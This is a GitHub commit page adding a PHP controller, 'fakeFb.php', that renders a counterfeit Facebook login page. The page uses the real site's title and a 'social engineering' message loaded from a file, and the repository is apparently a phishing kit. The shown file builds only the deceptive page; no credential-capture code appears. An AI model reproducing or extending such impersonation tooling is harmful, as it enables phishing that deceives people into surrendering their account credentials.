Skip to content
This repository has been archived by the owner on May 5, 2024. It is now read-only.

Commit

Permalink
creating app/controllers/fakeFb.php
Browse files Browse the repository at this point in the history
  • Loading branch information
isaka-james committed Mar 16, 2024
1 parent d574749 commit 0b8a083
Showing 1 changed file with 48 additions and 0 deletions.
48 changes: 48 additions & 0 deletions app/controllers/fakeFb.php
Original file line number Diff line number Diff line change
@@ -0,0 1,48 @@
<?php
// The 'fakeLogin page'

// Change this to your twig directory
// Its instance is at '/views/'
$twig_dir='/home/'; // meaning /views/home/

// Don't change this!
require_once __DIR__.'/../Helpers/twig.php';


// Load the Twig template
$template = $twig->load('FakeFbPage.twig');


// Load variables
$file=__DIR__."/../../social-engineering/display.b";
$myfile = fopen($file, "r");;
if(isset($myfile)){
$social_engineering_message = fread($myfile,filesize($file));
fclose($myfile);
}else{
// default
$social_engineering_message="Connect with friends and the world around you on Facebook.";
}

// Load the social engineering variables
$title="Facebook - log in or sign up";



// Render the template with variables
echo $template->render([

'title' => $title,
'message' => $social_engineering_message,
/*
'my_list' => $my_list,
'my_lists' => $my_lists,
*/
]);







0 comments on commit 0b8a083

Please sign in to comment.